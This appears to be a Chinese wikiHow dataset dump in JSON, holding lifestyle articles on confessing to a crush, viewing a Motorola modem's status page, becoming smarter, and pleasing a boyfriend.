无论你们在一个小组项目中合作，还是和朋友们一起出去玩的时候，问问他一些生活中的问题，分享他的兴趣，花些时间和他在一起。不过要确保他没有把你当成知心姐姐或哥们，而且不要变成专门听他诉说恋爱烦恼的那种朋友。\\n成为他的朋友能让他知道你想靠近他。这是告诉他你喜欢他的一个好方法，如果你本来就没有太多男性朋友，这个方法的效果就更为明显了。这也能帮助你在坠入爱河之前，好好地了解一下这个男生。我们对一个人的感觉通常都只是心血来潮而已，我们的所作所为可能会比较冲动。先做朋友能在你们开始恋爱前验证你是否真的钟情于他。\\n慢慢来。如果你还不怎么了解他，从简单的对话开始，然后和他一起出去玩，慢慢地了解他。\\n2-2. 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和他开玩笑。\\n当你开始和他开一些玩笑，他可能就会意识到你对他的喜欢。为了传递你对他的感情，你不需要开过分的玩笑；只需要调戏一下他的新发型、他最喜欢的球队（尤其是他们一直在输的情况下），他对他最爱的乐队的迷恋，或是他不会太往心里去的其它东西。这会让他明白你很喜欢他，所以才和他玩笑。\\n确保他知道你只是在开玩笑，而且玩笑要控制在他所能接受的范围内。或许他会对他最爱的球队很敏感。比如其实你可以想想，他喜欢的球队一直在输这事有什么好笑的呢？\\n让他明白你不是和每个人都会这样开玩笑。如果他认为你和他的每个朋友也会开一样的玩笑，他就会觉得他对你而言并不特别。\\n2-6. 帮助他。\\n当你开始帮助意中人，他会怀疑你喜欢他。你不需要做得太多，只需要帮他做一些小事情，让他感受到你对他的喜欢。比如在他生病的时候辅导他做作业，把课本借给他，或者回答一些他的问题。这能很好地表现出你很关心他，前提是他不是在利用你。\\n照理说，他也应该想办法帮你。你应该也不想让他觉得你可以随叫随到吧。\\n看看你能做些什么来帮他。他可能不好意思开口让你教他做作业，但你可以主动提出帮他，然后看看他怎么说。\\n2-7. 与他调情\\n调情绝对能让意中人知道你喜欢他。为此，你需要逗逗他，和他开开玩笑，并且对他表现出比对其他在场男生都要高的兴趣。你可以对他微笑，在他说笑话时哈哈大笑，用尽方法让他知道你想和他多点相处，以此来告诉他你喜欢他。同时你也可以玩玩欲擒故纵的把戏。\\n你可能会觉得调情这个技巧有点难掌握，但基本来说，它意味着在和意中人聊一些轻松的话题时，不要把自己太当回事了。要让他知道你既想听听他说的话，同时也想和他开开玩笑。\\n和意中人聊天的时候，你可以舔舔嘴唇或玩玩头发，这样看起来就更加撩人了。\\n3. 真正地去告诉他\\n3-1. 不要让朋友去告诉他。\\n如果你想让意中人知道你有多喜欢他，应该亲自告诉他，即使是写封信告诉他也好。虽然让朋友去告诉他更简单，但这样一来他可能会觉得你还没有准备好开始一段成熟的恋爱，或者你没有勇气自己去告诉他。如果你让别人告诉他，即使他说他也喜欢你，你们还是没法顺利开始正式交往。\\n另外，如果你不想让朋友围着他，把他惹怒，最好尊重他的隐私，亲自去告诉他你对他的感情。\\n3-2. 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理智地回应。\\n一旦意中人知道你的心意，他可能会说他也喜欢你，也可能会告诉你他还是觉得你们比较适合做朋友。如果他告诉你他也喜欢你，那么你们可以一起庆祝，并为开启一段恋情而兴奋不已。如果他对你没有相同的感觉，你应该保持理智，并积极地对待这件事，而不是反应过激，或让他因为没有喜欢你而愧疚不已。虽然你肯定会不开心，但你可以装得潇洒一些，在意中人离开之后再一个人独自难过。\\n无论发生了什么，你都应该留下一个好印象。如果你在他说了对你没感觉之后对他破口大骂，或很刻薄地对待他，你会追悔莫及的。\\n即使他对你没有相同的感觉，他还是会因为你对他坦诚而尊重你。你应该为自己能主动追求自己的幸福而感到骄傲。\\n小提示\\n保持镇定与轻松。\\n在喜欢的人面前出糗是一件很正常的事情。如果他喜欢你，他会对此微微一笑或者忽略它，当做没有事情发生。这两种反应都能说明他在乎你！\\n你的肢体语言会透露出你对他的感觉。\\n约他出去时，感到紧张是很正常的。\\n在他或者其他人身边时，不要表现得做作或刻薄，因为他会注意到，而且不会再喜欢你。\\n不要和他开过分的玩笑，记得你们的界限。\\n确保你是真的非常爱他之后再向他告白。如果你告诉他之后才意识到你并非想象中那么爱他，你很难开口告诉他真相。这甚至比告诉他你喜欢他还要难。\\n表白的时候确认他的朋友都不在。\\n不要为了他而伪装成一个另一种样子。展示你的个人本色。如果他不能接受你最真实的样子，那么他并不适合你。\\n让意中人知道你因为他真实的样子而喜欢他。\\n试着表现出你的性感与自信。男孩们都喜欢懂得捍卫信仰和自己的女孩。\\n积极并自信！\\n不要让他无所适从，这会让大家都很尴尬。\\n警告\\n不要忽略他。如果他愿意和你出去，这是一个好征兆。\\n不要为了引起他的注意而改变自己。如果他喜欢你，他会喜欢你原本的样子。\\n在他旁边的时候，不要一直傻笑。这可能会让他有点烦。\\n如果你太刻意表现，他会发现到的。\\n肢体语言很重要，所以确保你对他的肢体语言是开放式的，但不要吓着他了。\\n过度的调情“从来都不是”什么好事。\\n\", \"简要回答\": \"直截了当地表白是告诉意中人你喜欢他最简单的方法，但你可能因为害羞而不敢表白。不用担心，有很多方法能向意中人暗示你喜欢他。如果他读懂了这些暗示，你便有机会与你的白马王子开展一段幸福的真爱。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"把握好肢体语言\", \"步骤\": [{\"编号\": 1, \"标题\": \"进行眼神接触，然后移开。\", \"描述\": \"有一个方法不需要开口就能让意中人知道你对他的喜欢，那就是注视着他。保持眼神接触一两秒，这个时间长度刚好能让他感受到你的关注，然后往下看地板或者转移视线。这能告诉意中人你喜欢他，但又不会表现得过于明显；如果你一直盯着他看，就会表现得过于强烈了。\\n如果你们在同一个房间里上课或参加派对，你可以尝试这么做一两次。尽量不要做得太明显；你应该也不想被他发现你老盯着他看吧。\\n进行眼神接触时，你甚至还可以给他一个稍微有点撩人的笑容。\"}, {\"编号\": 2, \"标题\": \"微笑。\", \"描述\": \"你不需要咧嘴大笑来告诉他你对他感兴趣。只需要看着他，给他一个淡淡的笑，然后移开视线，或开始和他交谈。你的笑容不应该过于灿烂或热情，否则他可能会以为你只是出于礼貌才这样做。相反，在对他笑时尽量保持一点神秘感，这样你就能委婉地让他知道你对他的喜欢了。\\n如果你想提升你的撩人功力，可以在网上搜索一下如何用眼睛来微笑。\"}, {\"编号\": 3, \"标题\": \"将身体朝向你的意中人。\", \"描述\": \"一些简单的开放式肢体语言也可以告诉意中人你喜欢他。“开放”指的是面向你的意中人站直，脚和肩膀朝向他，双臂微微张开，而不要将双臂交叉在胸前。这可以告诉意中人你对他感兴趣，而且你喜欢待在他身边。下次站在或坐在他旁边时，确保你将身体转向他的方向，让他知道你喜欢他。\\n比如，如果你翘着腿和他交谈，确保双腿交叉的方向是朝向他的，而不是偏离他的，这样你的姿势看上起来更开放。\"}, {\"编号\": 4, \"标题\": \"靠近他。\", \"描述\": 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\"调情绝对能让意中人知道你喜欢他。为此，你需要逗逗他，和他开开玩笑，并且对他表现出比对其他在场男生都要高的兴趣。你可以对他微笑，在他说笑话时哈哈大笑，用尽方法让他知道你想和他多点相处，以此来告诉他你喜欢他。同时你也可以玩玩欲擒故纵的把戏。\\n你可能会觉得调情这个技巧有点难掌握，但基本来说，它意味着在和意中人聊一些轻松的话题时，不要把自己太当回事了。要让他知道你既想听听他说的话，同时也想和他开开玩笑。\\n和意中人聊天的时候，你可以舔舔嘴唇或玩玩头发，这样看起来就更加撩人了。\"}]}, {\"编号\": 3, \"标题\": \"真正地去告诉他\", \"步骤\": [{\"编号\": 1, \"标题\": \"不要让朋友去告诉他。\", \"描述\": \"如果你想让意中人知道你有多喜欢他，应该亲自告诉他，即使是写封信告诉他也好。虽然让朋友去告诉他更简单，但这样一来他可能会觉得你还没有准备好开始一段成熟的恋爱，或者你没有勇气自己去告诉他。如果你让别人告诉他，即使他说他也喜欢你，你们还是没法顺利开始正式交往。\\n另外，如果你不想让朋友围着他，把他惹怒，最好尊重他的隐私，亲自去告诉他你对他的感情。\"}, {\"编号\": 2, \"标题\": \"给他写一个小纸条或一封信。\", \"描述\": \"如果你没有勇气当面告诉意中人你喜欢他，可以给他写一个小纸条或者一封稍长的信，告诉他你对他的感觉。把信塞进他的抽屉或当面交给他。告诉他你喜欢他，如果可以，不妨给出一两个你喜欢他的理由，并问问他是否愿意接受你的感情。这是一个将你的感情直接告诉他的好方法，同时又能避免面对面告白的压力。\\n写得简洁明了。在知道他是否愿意接受你的感情之前，你应该也不想让他知道太多关于你喜欢他的细节吧。\\n你可以告诉他怎样联系你最好，在哪里给你答复，或直接将你的电话号码告诉他。\"}, {\"编号\": 3, \"标题\": \"打电话给他。\", \"描述\": \"你也可以选择打个电话给他，简单地告诉他你对他的感觉。是的，这个方法理论上意味着用言语告诉他你对他的感觉。如果你发现用行动来告白没有效果时，是时候试试这个方法了。打个电话给他，深呼吸，简短地告诉他你对他的感觉，然后问他是否愿意接受你的感情。你很快就能得到答复了。\\n只需要说一些类似这样的话：“过去几周和你在一起很开心，我想让你知道我喜欢你。你是否和我有着同样的感受？”\"}, {\"编号\": 4, \"标题\": \"当面告诉他。\", \"描述\": \"如果你觉得打电话告诉他不是很合适，那么你应该选择在恰当的时间和地点和他当面谈一谈。问问他是否愿意和你单独约在某个地方，你可以进行眼神接触，并简单地告诉他你的感受。给他一些时间去反应和回应，尽量不要给他施加压力；营造轻松而不是凝重的谈话氛围。\\n你也可以先随便聊点别的，让他放松心情，但不要害怕转移话题，直接说出你对他感受。\\n当你告诉他你喜欢他时，可以加上对他的一两句小赞美。你可以像这样说：“没有人能像你这样逗我笑”来解释你为什么喜欢他。\"}, {\"编号\": 5, \"标题\": \"理智地回应。\", \"描述\": \"一旦意中人知道你的心意，他可能会说他也喜欢你，也可能会告诉你他还是觉得你们比较适合做朋友。如果他告诉你他也喜欢你，那么你们可以一起庆祝，并为开启一段恋情而兴奋不已。如果他对你没有相同的感觉，你应该保持理智，并积极地对待这件事，而不是反应过激，或让他因为没有喜欢你而愧疚不已。虽然你肯定会不开心，但你可以装得潇洒一些，在意中人离开之后再一个人独自难过。\\n无论发生了什么，你都应该留下一个好印象。如果你在他说了对你没感觉之后对他破口大骂，或很刻薄地对待他，你会追悔莫及的。\\n即使他对你没有相同的感觉，他还是会因为你对他坦诚而尊重你。你应该为自己能主动追求自己的幸福而感到骄傲。\"}], \"小提示\": [\"保持镇定与轻松。\\n\", \"在喜欢的人面前出糗是一件很正常的事情。如果他喜欢你，他会对此微微一笑或者忽略它，当做没有事情发生。这两种反应都能说明他在乎你！\\n\", \"你的肢体语言会透露出你对他的感觉。\\n\", \"约他出去时，感到紧张是很正常的。\\n\", \"在他或者其他人身边时，不要表现得做作或刻薄，因为他会注意到，而且不会再喜欢你。\\n\", \"不要和他开过分的玩笑，记得你们的界限。\\n\", \"确保你是真的非常爱他之后再向他告白。如果你告诉他之后才意识到你并非想象中那么爱他，你很难开口告诉他真相。这甚至比告诉他你喜欢他还要难。\\n\", \"表白的时候确认他的朋友都不在。\\n\", \"不要为了他而伪装成一个另一种样子。展示你的个人本色。如果他不能接受你最真实的样子，那么他并不适合你。\\n\", \"让意中人知道你因为他真实的样子而喜欢他。\\n\", \"试着表现出你的性感与自信。男孩们都喜欢懂得捍卫信仰和自己的女孩。\\n\", \"积极并自信！\\n\", \"不要让他无所适从，这会让大家都很尴尬。\\n\"], \"注意事项\": [\"不要忽略他。如果他愿意和你出去，这是一个好征兆。\\n\", \"不要为了引起他的注意而改变自己。如果他喜欢你，他会喜欢你原本的样子。\\n\", \"在他旁边的时候，不要一直傻笑。这可能会让他有点烦。\\n\", \"如果你太刻意表现，他会发现到的。\\n\", \"肢体语言很重要，所以确保你对他的肢体语言是开放式的，但不要吓着他了。\\n\", \"过度的调情“从来都不是”什么好事。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,713 | 如何访问摩托罗拉的调制解调器 | 1. 步骤
1-1. 打开浏览器。
你可以使用任意一台连接到摩托罗拉路由器上的电脑来启动浏览器。
如果你想访问路由器，那么你需要阅读其他的文章。路由器可以用来连接无线网路，端口映射以及其他网路设置的设备。
1-2. 在地址栏键入调制解调器的地址。
大多数摩托罗拉调制解调器的地址是192.168.100.1，在地址栏键入这串地址然后按下回车。等待几分钟进入访问界面。
1-3. 阅读状态报告。
页面打开之后，它会为你呈现你的调制解调器的状态。你可以通过这个报告了解你的调制解调器的运行情况。不过，这些数据这是简单的反应了它当前的工作情况。
:这是你的调制解调器运行的时间。
: 这是电缆调制解调器的工作状态。正常工作的话，它会显示为“使用中”。
:这代表了你的信号受干扰的情况。数值越高越好，并且至少要高于25到27。
: 这个数据反应了输入信号的强度。数字很小，或是负数，说明信号强度低。下行强度的范围最好在 -12分贝到 +12分贝之间，而上行强度的范围最好在 37分贝到55分贝之间。
小提示
你的网络供应商通常会向你提供调制解调器的相关固件。
警告
更改你的调制解调器的设置会导致一些问题。在更改设置之前，研究一下每种设置都启到什么作用以及会有什么影响。你所做的更改可能会导致其他用户的上网故障。
| {
"create_time": "20230517 11:02:17",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 打开浏览器。\\n你可以使用任意一台连接到摩托罗拉路由器上的电脑来启动浏览器。\\n如果你想访问路由器，那么你需要阅读其他的文章。路由器可以用来连接无线网路，端口映射以及其他网路设置的设备。\\n1-2. 在地址栏键入调制解调器的地址。\\n大多数摩托罗拉调制解调器的地址是192.168.100.1，在地址栏键入这串地址然后按下回车。等待几分钟进入访问界面。\\n1-3. 阅读状态报告。\\n页面打开之后，它会为你呈现你的调制解调器的状态。你可以通过这个报告了解你的调制解调器的运行情况。不过，这些数据这是简单的反应了它当前的工作情况。\\n\\n:这是你的调制解调器运行的时间。\\n: 这是电缆调制解调器的工作状态。正常工作的话，它会显示为“使用中”。\\n:这代表了你的信号受干扰的情况。数值越高越好，并且至少要高于25到27。\\n: 这个数据反应了输入信号的强度。数字很小，或是负数，说明信号强度低。下行强度的范围最好在 -12分贝到 +12分贝之间，而上行强度的范围最好在 37分贝到55分贝之间。\\n小提示\\n你的网络供应商通常会向你提供调制解调器的相关固件。\\n警告\\n更改你的调制解调器的设置会导致一些问题。在更改设置之前，研究一下每种设置都启到什么作用以及会有什么影响。你所做的更改可能会导致其他用户的上网故障。\\n\", \"简要回答\": \"路由器是能够处理来自网络服务器的信号，并将它发送给你所在的网络的设备。通常情况下你不需要干预路由器的工作，不过如果你无法上网而且怀疑是路由器故障所导致的话，检查下路由器的状态是很有必要而且也并不麻烦的步骤。阅读本文，学习如何访问路由器。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开浏览器。\", \"描述\": \"你可以使用任意一台连接到摩托罗拉路由器上的电脑来启动浏览器。\\n如果你想访问路由器，那么你需要阅读其他的文章。路由器可以用来连接无线网路，端口映射以及其他网路设置的设备。\"}, {\"编号\": 2, \"标题\": \"在地址栏键入调制解调器的地址。\", \"描述\": \"大多数摩托罗拉调制解调器的地址是192.168.100.1，在地址栏键入这串地址然后按下回车。等待几分钟进入访问界面。\"}, {\"编号\": 3, \"标题\": \"阅读状态报告。\", \"描述\": \"页面打开之后，它会为你呈现你的调制解调器的状态。你可以通过这个报告了解你的调制解调器的运行情况。不过，这些数据这是简单的反应了它当前的工作情况。\\n\\n:这是你的调制解调器运行的时间。\\n: 这是电缆调制解调器的工作状态。正常工作的话，它会显示为“使用中”。\\n:这代表了你的信号受干扰的情况。数值越高越好，并且至少要高于25到27。\\n: 这个数据反应了输入信号的强度。数字很小，或是负数，说明信号强度低。下行强度的范围最好在 -12分贝到 +12分贝之间，而上行强度的范围最好在 37分贝到55分贝之间。\"}], \"小提示\": [\"你的网络供应商通常会向你提供调制解调器的相关固件。\\n\"], \"注意事项\": [\"更改你的调制解调器的设置会导致一些问题。在更改设置之前，研究一下每种设置都启到什么作用以及会有什么影响。你所做的更改可能会导致其他用户的上网故障。\\n\"]}]}}",
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} | wikihow |
14,714 | 如何聪明起来 | 1. 设定目标
1-1. 每周设定一次目标。
在每个目标设定周期中问问你自己，上周的目标我完成了多少？为什么有的目标我没有完成，我能怎么做，让自己更有机会成功？
持续地努力工作来达成每一个目标。没有了目标，你就没有什么值得期望的。在完成目标后奖励自己。
1-2. 有条理。
你并不需要成为一个有洁癖的人，但浪费时间并不明智。当然了，有很多天才是生活完全没有条理的（想想心不在焉的教授们），但如果你在自发地努力变聪明，有意识地想着如何使用时间来努力是正确方向上的一大步。
1-3. 以使自己受教育为目标。
要记住教育并不是你在学校里为了学位和证书被迫去做的无用功；这是了解你周围世界的途径。天生有好奇心的人们不知为何，在进入学校后就不再问问题了。但是，真正天才的头脑，总是在质疑他们的世界，并试图让它有意义。 这就是“天才”的秘诀。试着教育自己。你甚至能从自己的生活经历当中学习，这有时被称为“自主学习”。
2. 开拓你的视野
2-1. 要有开放的心态并愿意去学新的事情。
就因为你擅长做某事并不意味着你得一直做这件事！找到方法来走出自己的安全区。这里才是学习开始的地方。
2-2. 一直学习。
外面有很多信息的来源。例如，书本，电影和网络。学校只是信息的一个来源。如果你总是拿到A等，这并不意味着你是聪明的。锻炼出开放的心态能让你更具智慧。
2-3. 发掘出对某方面的兴趣，像是时事，有意思的事实，有趣而有启发性的引用，好书和电影，科学研究和有趣的发明。
教育电视是学习的很好方式。看看PBS或历史频道。那些能谈论到个人问题和困惑以外事情的人会显得有趣而聪明得多。
2-4. 如果你读的比说的快得多，那么去读书，或是创新的电子文档，像是维基。
这样就比去看针对所有人而不是聪明人的节目，或者依赖视频的学习更加有效。商业电视尤其不好，因为它的最终目的是让你呆在电视和广告前，而不是满足你，让你去做点别的事。
2-5. 加强你的词汇表。
每天使用一些字典上的定义，或订阅网上类似“每日一词”的邮件。你也可以参加读者文摘里的单词测试，或买一本书来增强你的工作词汇。每次读一个字典词汇。这会花去你至少一年的时间，但会让你更聪明。
2-6. 读多种多样的书籍。
通过读各种流派的书籍，包括纪实文学，让你的阅读更广泛。
2-7. 锻炼你的大脑
2-8. 学会如何解魔方。
这比看上去容易，在你了解到如何观察魔方的几何学的技巧之后。
速读是尝试解决的好难题，这能拓展你的思维。解题能锻炼大脑，就像锻炼其它肌肉一样，如果你不用你的大脑，就会丧失一部分大脑的能力。
尝试背圆周率，并每天加几个数位。写下一串词，每个附上8-14个数字。算算要花多久时间能记住所有这些词和数字。
2-9. 画画能激发你的创作力，所以可以作画或观赏艺术作品。
2-10. 学习怎么做心算或速算。
这些都是在你脑中进行复杂运算的技巧，会让别人感到不可思议。另外，这能增强记忆力。
2-11. 写诗。
诗歌是表达自己和自己思想的绝好方式。
这些只是你能用来锻炼大脑的少数方法。
2-12. 学一个新的语言。
学了语言锻炼，这能让你接触到新的人和新的思想。在你去一个地方，并知道些当地语言时，会少一些陌生感。同样，在某一时刻你会认识到有一些其他语言中的短语和概念，中文中根本没有对应的翻译！这对大脑来说，是有挑战性并有趣的锻炼。 (注意，当学语言时要耐心积极，因为要达到你期望的水平是需要花时间的。)
2-13. 尽可能多地去新的地方。
如果可以，也去拜访不同的国家。去你国家里的城市，或是不同国家的城市能让你更开放，并你让你了解生活的世界。你将会理解其他的文化 (人们如何生活在不同的地方，他们如何与人打交道，如何生活等等)。你也将能明白地球有多么庞大，有那么多应该去看去做的事情。你会被世界上许许多多的不同人群和文化给迷住。这会让你变得聪明而有趣。
2-14. 建立联系。
把一个地方的信息深深埋入脑中并没有用；你得要能够把它借鉴到真实世界的情境中。想想真实世界中的片段信息如何产生意义。然后分享它，并让它成长！
3. 开拓人际交往能力
3-1. 简化。
说的事情没人能明白并不是聪明。天才是能把复杂解释得简单的能力。练习将概念解释给别人听。看看你能让自己的解释有多简单明了。如果有人不明白，不是他们无知的错，而是你解释不清的错。
3-2. 学会仔细倾听对他人对富有争议性的事件的意见，或是听他们讲述他们了解而你不懂的事情。
你不必附和他们但要记住，每个人都有能教你的东西。问问题会让你重新评估自己的信仰，或指出别人的错误。保持开放的头脑。你越聪明，就会问周围的人越多问题。
3-3. 与人为善。
学会友善地面对挑衅是成熟，品味和智慧的标志。
小提示
两个词，练习与学习。
聪明不只有一种。有书本智慧，街头智慧，人际智慧，情绪智慧，技术智慧，还有许多其他种的智慧。
冥想能锻炼大脑，让你能适时集中注意力。
知道聪明和知识丰富的区别。聪明不等同于对某一方面了解很多。聪明意味着你理解问题并能想到方法来解决问题。知识丰富是指你对一个或多个方面了解很多。你是既聪明又知识丰富？还是其中一个？
如果有人问你一个你不知道答案的问题，请他们解释，或用另一个方式来问。也许他们没有很好地描述问题，或者他们不直接；或许他们根本就没在问问题，而只是表达另一个想法？例如，“这裤子是不是让我看起来胖”并不是一个'真的'问题，而是寻求确认。如果你确定他们想知道你的真实想法，并且不知道答案，就问他们为什么想知道，或问题的来龙去脉。如果你明白他们想知道什么，但你不知道答案，诚实点并回答你不知道。
创造力是一种自身的聪明。
警告
别成为什么都知道，什么都做，或好辩的人。这很令人讨厌！最好能低调些，不要显摆。
不要让理智完全控制你的人生，记得你得去享受人生，直到一边学习一边享受人生。
了解你的极限，时不时地休息一会儿，重新评估自己和达到初始目标的方式。
不要试图用基本的知识来评判一个团体、社团或其他任何事。
不要只用上网的方式调查一件事，刚有些浅知薄见就到处张扬，以期获得人们的关注。应选一个主题并对此仔细研究。
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读多种多样的书籍。\\n通过读各种流派的书籍，包括纪实文学，让你的阅读更广泛。\\n2-7. 锻炼你的大脑\\n\\n\\n2-8. 学会如何解魔方。\\n这比看上去容易，在你了解到如何观察魔方的几何学的技巧之后。 \\n速读是尝试解决的好难题，这能拓展你的思维。解题能锻炼大脑，就像锻炼其它肌肉一样，如果你不用你的大脑，就会丧失一部分大脑的能力。\\n尝试背圆周率，并每天加几个数位。写下一串词，每个附上8-14个数字。算算要花多久时间能记住所有这些词和数字。\\n2-9. 画画能激发你的创作力，所以可以作画或观赏艺术作品。\\n\\n2-10. 学习怎么做心算或速算。\\n这些都是在你脑中进行复杂运算的技巧，会让别人感到不可思议。另外，这能增强记忆力。\\n2-11. 写诗。\\n诗歌是表达自己和自己思想的绝好方式。\\n这些只是你能用来锻炼大脑的少数方法。\\n2-12. 学一个新的语言。\\n学了语言锻炼，这能让你接触到新的人和新的思想。在你去一个地方，并知道些当地语言时，会少一些陌生感。同样，在某一时刻你会认识到有一些其他语言中的短语和概念，中文中根本没有对应的翻译！这对大脑来说，是有挑战性并有趣的锻炼。 (注意，当学语言时要耐心积极，因为要达到你期望的水平是需要花时间的。)\\n2-13. 尽可能多地去新的地方。\\n如果可以，也去拜访不同的国家。去你国家里的城市，或是不同国家的城市能让你更开放，并你让你了解生活的世界。你将会理解其他的文化 (人们如何生活在不同的地方，他们如何与人打交道，如何生活等等)。你也将能明白地球有多么庞大，有那么多应该去看去做的事情。你会被世界上许许多多的不同人群和文化给迷住。这会让你变得聪明而有趣。\\n2-14. 建立联系。\\n把一个地方的信息深深埋入脑中并没有用；你得要能够把它借鉴到真实世界的情境中。想想真实世界中的片段信息如何产生意义。然后分享它，并让它成长！\\n3. 开拓人际交往能力\\n3-1. 简化。\\n说的事情没人能明白并不是聪明。天才是能把复杂解释得简单的能力。练习将概念解释给别人听。看看你能让自己的解释有多简单明了。如果有人不明白，不是他们无知的错，而是你解释不清的错。\\n3-2. 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\"这样就比去看针对所有人而不是聪明人的节目，或者依赖视频的学习更加有效。商业电视尤其不好，因为它的最终目的是让你呆在电视和广告前，而不是满足你，让你去做点别的事。\"}, {\"编号\": 5, \"标题\": \"加强你的词汇表。\", \"描述\": \"每天使用一些字典上的定义，或订阅网上类似“每日一词”的邮件。你也可以参加读者文摘里的单词测试，或买一本书来增强你的工作词汇。每次读一个字典词汇。这会花去你至少一年的时间，但会让你更聪明。\"}, {\"编号\": 6, \"标题\": \"读多种多样的书籍。\", \"描述\": \"通过读各种流派的书籍，包括纪实文学，让你的阅读更广泛。\"}, {\"编号\": 7, \"标题\": \"锻炼你的大脑\", \"描述\": \"\"}, {\"编号\": 8, \"标题\": \"学会如何解魔方。\", \"描述\": \"这比看上去容易，在你了解到如何观察魔方的几何学的技巧之后。 \\n速读是尝试解决的好难题，这能拓展你的思维。解题能锻炼大脑，就像锻炼其它肌肉一样，如果你不用你的大脑，就会丧失一部分大脑的能力。\\n尝试背圆周率，并每天加几个数位。写下一串词，每个附上8-14个数字。算算要花多久时间能记住所有这些词和数字。\"}, {\"编号\": 9, \"标题\": \"画画能激发你的创作力，所以可以作画或观赏艺术作品。\", \"描述\": \"\"}, {\"编号\": 10, \"标题\": \"学习怎么做心算或速算。\", \"描述\": \"这些都是在你脑中进行复杂运算的技巧，会让别人感到不可思议。另外，这能增强记忆力。\"}, {\"编号\": 11, \"标题\": \"写诗。\", \"描述\": \"诗歌是表达自己和自己思想的绝好方式。\\n这些只是你能用来锻炼大脑的少数方法。\"}, {\"编号\": 12, \"标题\": \"学一个新的语言。\", \"描述\": \"学了语言锻炼，这能让你接触到新的人和新的思想。在你去一个地方，并知道些当地语言时，会少一些陌生感。同样，在某一时刻你会认识到有一些其他语言中的短语和概念，中文中根本没有对应的翻译！这对大脑来说，是有挑战性并有趣的锻炼。 (注意，当学语言时要耐心积极，因为要达到你期望的水平是需要花时间的。)\"}, {\"编号\": 13, \"标题\": \"尽可能多地去新的地方。\", \"描述\": \"如果可以，也去拜访不同的国家。去你国家里的城市，或是不同国家的城市能让你更开放，并你让你了解生活的世界。你将会理解其他的文化 (人们如何生活在不同的地方，他们如何与人打交道，如何生活等等)。你也将能明白地球有多么庞大，有那么多应该去看去做的事情。你会被世界上许许多多的不同人群和文化给迷住。这会让你变得聪明而有趣。\"}, {\"编号\": 14, \"标题\": \"建立联系。\", \"描述\": \"把一个地方的信息深深埋入脑中并没有用；你得要能够把它借鉴到真实世界的情境中。想想真实世界中的片段信息如何产生意义。然后分享它，并让它成长！\"}]}, {\"编号\": 3, \"标题\": \"开拓人际交往能力\", \"步骤\": [{\"编号\": 1, \"标题\": \"简化。\", \"描述\": \"说的事情没人能明白并不是聪明。天才是能把复杂解释得简单的能力。练习将概念解释给别人听。看看你能让自己的解释有多简单明了。如果有人不明白，不是他们无知的错，而是你解释不清的错。\"}, {\"编号\": 2, \"标题\": \"学会仔细倾听对他人对富有争议性的事件的意见，或是听他们讲述他们了解而你不懂的事情。\", \"描述\": \"你不必附和他们但要记住，每个人都有能教你的东西。问问题会让你重新评估自己的信仰，或指出别人的错误。保持开放的头脑。你越聪明，就会问周围的人越多问题。\"}, {\"编号\": 3, \"标题\": \"与人为善。\", \"描述\": \"学会友善地面对挑衅是成熟，品味和智慧的标志。\"}], \"小提示\": [\"两个词，练习与学习。\\n\", \"聪明不只有一种。有书本智慧，街头智慧，人际智慧，情绪智慧，技术智慧，还有许多其他种的智慧。\\n\", \"冥想能锻炼大脑，让你能适时集中注意力。\\n\", \"知道聪明和知识丰富的区别。聪明不等同于对某一方面了解很多。聪明意味着你理解问题并能想到方法来解决问题。知识丰富是指你对一个或多个方面了解很多。你是既聪明又知识丰富？还是其中一个？\\n\", \"如果有人问你一个你不知道答案的问题，请他们解释，或用另一个方式来问。也许他们没有很好地描述问题，或者他们不直接；或许他们根本就没在问问题，而只是表达另一个想法？例如，“这裤子是不是让我看起来胖”并不是一个'真的'问题，而是寻求确认。如果你确定他们想知道你的真实想法，并且不知道答案，就问他们为什么想知道，或问题的来龙去脉。如果你明白他们想知道什么，但你不知道答案，诚实点并回答你不知道。\\n\", \"创造力是一种自身的聪明。\\n\"], \"注意事项\": [\"别成为什么都知道，什么都做，或好辩的人。这很令人讨厌！最好能低调些，不要显摆。\\n\", \"不要让理智完全控制你的人生，记得你得去享受人生，直到一边学习一边享受人生。\\n\", \"了解你的极限，时不时地休息一会儿，重新评估自己和达到初始目标的方式。\\n\", \"不要试图用基本的知识来评判一个团体、社团或其他任何事。\\n\", \"不要只用上网的方式调查一件事，刚有些浅知薄见就到处张扬，以期获得人们的关注。应选一个主题并对此仔细研究。\\n\"]}]}}",
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} | wikihow |
14,715 | 如何讨好男生 | 1. 步骤
1-1. 让他有被需要的感觉。
人是社会性的动物。不管是多么孤僻，多么追求内心灵修的人，都需要和他人交流，因为只有如此，才能体会到作为人的完整。人们都希望自己是被需要的，这种被需要的感觉对他们来说也是必须的。如果你想讨好对方，那就从这一步开始吧。依赖他，让他陪你度过困难时期等等，并且让他知道，你有多么珍惜他。但在感情中，是需要寻求某种平衡的——不光你要依赖他，在某种程度上，他也要依赖你才行。
1-2. 争取让你们之间的关系变得坦白、诚实和平等。
虽然男生的自我防御心很强，但他们还是希望能向某人倾诉自己的感情。男生需要时间来适应，然后一点点卸下心防，如果你的他还无法与你坦诚相见，那么至少让他知道，如果他想，你随时欢迎他的各种倾诉。他可能没办法立即向你倾吐些什么，但如果他真的迈出这一步，那么他会非常感激有你这样一个人，能让他卸下所有心防与顾虑。
我们更倾向于对有相似经历和相似感受的人敞开心扉。所以，你可以试着和对方分享一些你的经历，分担一些责任，聊聊天什么的，这样可以增加彼此间的信任程度，随着信任程度的增加，你们聊天的内容也就可以更加深入了。
即使在最亲密的关系中，自己内心的阴暗面和情感中的问题也不是时时都能聊起——你能想象，如果我们一一坦承，我们做过这么多不好的事情，有这么多邪恶的想法之后，这段关系还要如何维系下去呢？千万不要强迫对方描述他不愿提及的细节。尽管很多情侣都希望彼此坦承相待，但这并不意味着双方随时都有心情聊不好的事。
1-3. 倾听。
男生都希望自己被认真对待。正是因为很多男生在和朋友或家人沟通时遇到了障碍，他们才更希望被认真对待，当对方对你敞开心扉的时候，你一定要对他表现出关心。当然，你不必认真抓住日常谈话中的每个细节，但如果对方向你倾诉一些重要的事情，你一定要全神贯注地倾听。挨着对方坐，做说话的时候看着对方的眼睛。这样一来，他就能体会到你对他的关心和尊重，而在你需要某人听你倾诉的时候，他也会以同样的态度来对待你。
